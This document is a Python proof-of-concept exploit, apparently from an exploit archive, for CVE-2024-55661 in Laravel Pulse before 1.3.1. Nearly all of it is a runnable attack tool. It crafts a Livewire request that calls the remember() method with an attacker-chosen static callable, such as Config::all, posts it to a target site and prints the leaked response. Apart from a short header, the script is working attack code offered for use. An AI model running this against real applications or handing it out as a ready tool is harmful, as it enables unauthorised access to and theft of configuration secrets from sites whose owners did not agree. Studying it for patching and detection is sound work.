#!/usr/bin/env python3
# Exploit Title: Laravel Pulse 1.3.1 - Arbitrary Code Injection
# Author: Mohammed Idrees Banyamer (@banyamer_security)
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Laravel Pulse v1.2.0 / Ubuntu 22.04 / Apache2
# CVE: CVE-2024-55661
# Type: Remote Code Execution (via Arbitrary Code Injection)
# Platform: PHP (Laravel Livewire)
# Author Country: Jordan
# Description:
# A vulnerability in Laravel Pulse (< 1.3.1) allows arbitrary code injection via
# the `remember()` method in the `RemembersQueries` trait. The attacker can craft
# a Livewire request to invoke arbitrary callables, enabling data exfiltration or
# remote execution if unsafe classes are exposed.
"""
Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661)
Author: Mohammed Idrees Banyamer | PoC
This tool exploits the vulnerability in the `remember()` method in vulnerable versions
of laravel/pulse to trigger arbitrary code execution or sensitive data leakage via Livewire.
"""
import argparse
import requests
import json
import sys
from rich import print
from rich.console import Console
console = Console()
class LaravelPulseExploit:
def __init__(self, url, component, method, csrf=None, key='exploit', component_id='abcde'):
self.url = url.rstrip('/')
self.component = component
self.method = method
self.csrf = csrf
self.key = key
self.component_id = component_id
self.headers = {
"Content-Type": "application/json",
"X-Livewire": "true",
"Accept": "application/json"
}
if csrf:
self.headers["X-CSRF-TOKEN"] = csrf
def build_payload(self):
return {
"type": "callMethod",
"method": "remember",
"params": [self.method, self.key],
"id": self.component_id,
"name": self.component
}
def send(self):
full_url = f"{self.url}/livewire/message/{self.component}"
payload = self.build_payload()
console.print(f"[bold cyan][*] Sending exploit to:[/bold cyan] {full_url}")
try:
response = requests.post(full_url, headers=self.headers, json=payload, timeout=10)
except requests.exceptions.RequestException as e:
console.print(f"[bold red][-] Request failed:[/bold red] {str(e)}")
sys.exit(1)
self.display_response(response)
def display_response(self, response):
console.print(f"\n[bold green][+] Status Code:[/bold green] {response.status_code}")
if response.status_code == 200:
try:
data = response.json()
pretty_data = json.dumps(data, indent=4, ensure_ascii=False)
console.print(f"[bold yellow]\n[+] Response JSON:[/bold yellow]\n{pretty_data}")
except json.JSONDecodeError:
console.print(f"[bold red][-] Failed to decode JSON:[/bold red]\n{response.text}")
else:
console.print(f"[bold red][-] Unexpected response:[/bold red] {response.text}")
def parse_arguments():
parser = argparse.ArgumentParser(
description="Exploit Laravel Pulse (<1.3.1) Arbitrary Code Injection (CVE-2024-55661)"
)
parser.add_argument("-u", "--url", required=True, help="Base URL of the Laravel app (e.g. http://example.com)")
parser.add_argument("-c", "--component", required=True, help="Livewire component name (e.g. ConfigComponent)")
parser.add_argument("-m", "--method", required=True, help="Static method to call (e.g. \\Illuminate\\Support\\Facades\\Config::all)")
parser.add_argument("-k", "--key", default="exploit", help="Cache key (default: exploit)")
parser.add_argument("--csrf", help="Optional CSRF token header")
parser.add_argument("--id", default="abcde", help="Component ID (default: abcde)")
return parser.parse_args()
def banner():
console.print("""
[bold red]
____ _
| __ ) __ _ _ __ _ _ / \ _ __ ___ ___ _ __
| _ \ / _` | '_ \| | | | / _ \ | '_ ` _ \ / _ \ '__|
| |_) | (_| | | | | |_| |/ ___ \| | | | | | __/ |
|____/ \__,_|_| |_|\__, /_/ \_\_| |_| |_|\___|_|
|___/
[/bold red]
[bold white]Laravel Pulse < 1.3.1 Arbitrary Code Injection (CVE-2024-55661)[/bold white]
[blue]Author:[/blue] Mohammed Idrees Banyamer | [green]Poc[/green]
""")
if __name__ == "__main__":
banner()
args = parse_arguments()
exploit = LaravelPulseExploit(
url=args.url,
component=args.component,
method=args.method,
csrf=args.csrf,
key=args.key,
component_id=args.id
)
exploit.send()